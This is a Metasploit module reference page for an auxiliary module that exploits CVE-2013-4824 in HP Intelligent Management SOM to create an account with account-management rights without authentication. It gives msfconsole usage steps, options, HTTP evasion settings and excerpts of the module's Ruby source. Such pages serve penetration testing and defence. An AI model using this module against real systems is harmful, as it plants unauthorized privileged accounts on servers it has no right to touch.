HP Intelligent Management SOM Account Creation - Metasploit
This page contains detailed information about how to use the auxiliary/admin/hp/hp_imc_som_create_account metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: HP Intelligent Management SOM Account Creation
Module: auxiliary/admin/hp/hp_imc_som_create_account
Source code: modules/auxiliary/admin/hp/hp_imc_som_create_account.rb
Disclosure date: 2013-10-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-4824
This module exploits a lack of authentication and access control in HP Intelligent Management, specifically in the AccountService RpcServiceServlet from the SOM component, in order to create a SOM account with Account Management permissions. This module has been tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/hp/hp_imc_som_create_account
msf auxiliary(hp_imc_som_create_account) > show targets
... a list of targets ...
msf auxiliary(hp_imc_som_create_account) > set TARGET target-id
msf auxiliary(hp_imc_som_create_account) > show options
... show and set options ...
msf auxiliary(hp_imc_som_create_account) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/hp/hp_imc_som_create_account auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/hp/hp_imc_som_create_account
msf6 auxiliary(admin/hp/hp_imc_som_create_account) > show info
Name: HP Intelligent Management SOM Account Creation
Module: auxiliary/admin/hp/hp_imc_som_create_account
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-10-08
Provided by:
rgod <[email protected]>
juan vazquez <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD p4ssw0rd yes Password for the new account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME msf yes Username for the new account
VHOST no HTTP server virtual host
Description:
This module exploits a lack of authentication and access control in
HP Intelligent Management, specifically in the AccountService
RpcServiceServlet from the SOM component, in order to create a SOM
account with Account Management permissions. This module has been
tested successfully on HP Intelligent Management Center 5.2 E0401
and 5.1 E202 with SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003
SP2.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-4824
OSVDB (98249)
http://www.securityfocus.com/bid/62902
http://www.zerodayinitiative.com/advisories/ZDI-13-240
https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943547
Module Options
This is a complete list of options available in the admin/hp/hp_imc_som_create_account auxiliary module:
msf6 auxiliary(admin/hp/hp_imc_som_create_account) > show options
Module options (auxiliary/admin/hp/hp_imc_som_create_account):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD p4ssw0rd yes Password for the new account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME msf yes Username for the new account
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/hp/hp_imc_som_create_account auxiliary module:
msf6 auxiliary(admin/hp/hp_imc_som_create_account) > show advanced
Module advanced options (auxiliary/admin/hp/hp_imc_som_create_account):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/hp/hp_imc_som_create_account module can do:
msf6 auxiliary(admin/hp/hp_imc_som_create_account) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/hp/hp_imc_som_create_account auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/hp/hp_imc_som_create_account) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
service desk service not found.
Here is a relevant code snippet related to the "service desk service not found." error message:
71: def run
72:
73: print_status("Trying to find the service desk service strong name...")
74: service_desk = get_service_desk_strong_name
75: if service_desk.nil?
76: print_error("service desk service not found.")
77: return
78: end
79: print_good("service desk strong number found: #{service_desk}")
80:
81: print_status("Trying to find the AccountService strong name...")
AccountService service not found.
Here is a relevant code snippet related to the "AccountService service not found." error message:
79: print_good("service desk strong number found: #{service_desk}")
80:
81: print_status("Trying to find the AccountService strong name...")
82: account_service = get_account_service_strong_name(service_desk)
83: if account_service.nil?
84: print_error("AccountService service not found.")
85: return
86: end
87: print_good("AccountService strong number found: #{account_service}")
88:
89: header= "6|0|39" # version | unknown | string_table size
Unknown error while creating the user.
Here is a relevant code snippet related to the "Unknown error while creating the user." error message:
216: },
217: 'data' => gwt_request
218: })
219:
220: unless res and res.code == 200
221: print_error("Unknown error while creating the user.")
222: return
223: end
224:
225: if res.body =~ /Username.*already exists/
226: print_error("The user #{datastore["USERNAME"]} already exists.")
The user <VALUE> already exists.
Here is a relevant code snippet related to the "The user <VALUE> already exists." error message:
221: print_error("Unknown error while creating the user.")
222: return
223: end
224:
225: if res.body =~ /Username.*already exists/
226: print_error("The user #{datastore["USERNAME"]} already exists.")
227: return
228: elsif res.body =~ /Account.*added successfully/
229: login_url = ssl ? "https://" : "http://"
230: login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp"
231:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8914 Merged Pull Request: refactor auxiliary/admin/http credential storage
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5768 Merged Pull Request: Update modules to use metasploit-credential instead of report_auth_info
- #2570 Merged Pull Request: Add module for ZDI-13-240
References
- CVE-2013-4824
- OSVDB (98249)
- BID-62902
- ZDI-13-240
- https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943547
See Also
Check also the following modules related to this module:
- auxiliary/admin/hp/hp_data_protector_cmd
- auxiliary/admin/hp/hp_ilo_create_admin_account
- auxiliary/admin/http/hp_web_jetadmin_exec
- auxiliary/gather/hp_enum_perfd
- auxiliary/gather/hp_snac_domain_creds
- auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal
- auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal
- auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal
- auxiliary/scanner/http/hp_imc_reportimgservlt_traversal
- auxiliary/scanner/http/hp_imc_som_file_download
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
- auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/hp_sys_mgmt_login
- auxiliary/dos/hp/data_protector_rds
- auxiliary/scanner/http/phpmyadmin_login
- auxiliary/scanner/snmp/snmp_enum_hp_laserjet
- auxiliary/admin/mssql/mssql_enum_domain_accounts
- auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
- auxiliary/gather/avtech744_dvr_accounts
- auxiliary/gather/grandstream_ucm62xx_sql_account_guess
- post/windows/manage/enable_support_account
- auxiliary/admin/http/manage_engine_dc_create_admin
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/fuzzers/smb/smb_create_pipe
- auxiliary/fuzzers/smb/smb_create_pipe_corrupt
- auxiliary/scanner/sap/sap_soap_bapi_user_create1
Authors
- rgod <rgod[at]autistici.org>
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.